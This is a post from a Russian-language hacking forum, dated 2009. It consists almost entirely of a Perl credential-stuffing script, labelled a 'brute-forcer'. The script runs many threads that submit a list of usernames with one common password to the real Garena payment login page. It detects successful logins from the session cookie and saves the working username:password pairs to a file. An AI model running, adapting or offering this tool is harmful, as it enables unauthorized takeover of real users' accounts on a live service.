Показать сообщение отдельно

  #28  
Старый 13.02.2009, 23:56
eLWAux
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

брутер(perl):

PHP код:
#! /usr/bin/perl -w
use IO::Socket;
use 
threads;
use 
threads::shared;
use 
Fcntl ':flock';

$pwd     =  shift || '123456'        # Пароль
$threads =  shift || 5                #Кол-во потоков
$ml      =  shift || 'accs.txt'        #Список акков
$fname   'good.txt'                  #Валидные


my $i shared 0;
my @trl;
$| =
1;

print 
"Loading...\n";

open (ACS"<$ml") || die("Could not open acc list file!");
my @acc shared = <ACS>;
chomp(@acc);
close(ACS);

$size scalar @acc;
print  
"Loaded: ".$size." accs.\n";


for(
0..$threads) {$trl[$_] = threads->create(\&Brut$_);}
for(@
trl) { $_->join; }

sub Brut
{
    while(@
acc)
    {    
        {
lock(@acc);$acc shift @acc;}
        
my $sock sock();
        
        
my $data =
        
"-----------------------------18847261322183\n".
        
"Content-Disposition: form-data; name=\"username\"\n\n".
        
"$acc\n".
        
"-----------------------------18847261322183\n".
        
"Content-Disposition: form-data; name=\"password\"\n\n".
        
"$pwd\n".
        
"-----------------------------18847261322183\n".
        
"Content-Disposition: form-data; name=\"loginSubmit\"\n\n".
        
"Submit\n".
        
"-----------------------------18847261322183--\n\n";
        
        
my $re 
        
"POST http://www.garena.com/payment/index.php?c=VXNlcg==&a=bG9naW4= HTTP/1.1\n".
        
"Host: www.garena.com\n".
        
"User-Agent: Mozilla/4.0\n".
        
"Connection: close\n".
        
"Referer: http://garena.com\n".
        
"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
        
"Content-Length: ".length($data)."\n\n".$data;
    
        print 
$sock $re
        
read($sock,my $answ,10000);
        
        if(
$answ =~ /cdb_auth/)
            {
                print 
"[+] $acc\n";
                
open(FILE">>$fname") || die("Could not open $fname\n");
                
flock(FILELOCK_EX);
                print 
FILE "$acc:$pwd\n";
                
flock(FILELOCK_UN);
                
close(FILE);
            }
        {
lock($i);$i++;}
        print 
"< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
        
close($sock);
    }
}

sub sock {
my $sock;
do {
    
$sock = new IO::Socket::INET 
        
(
        
PeerAddr => 'garena.com',
           
PeerPort => 80
           
PeerProto => 'tcp'
           
TimeOut => 10
        
) or print "Can't connect\n";
    } while (!
$sock);
return 
$sock;
}
#(c)Kaimi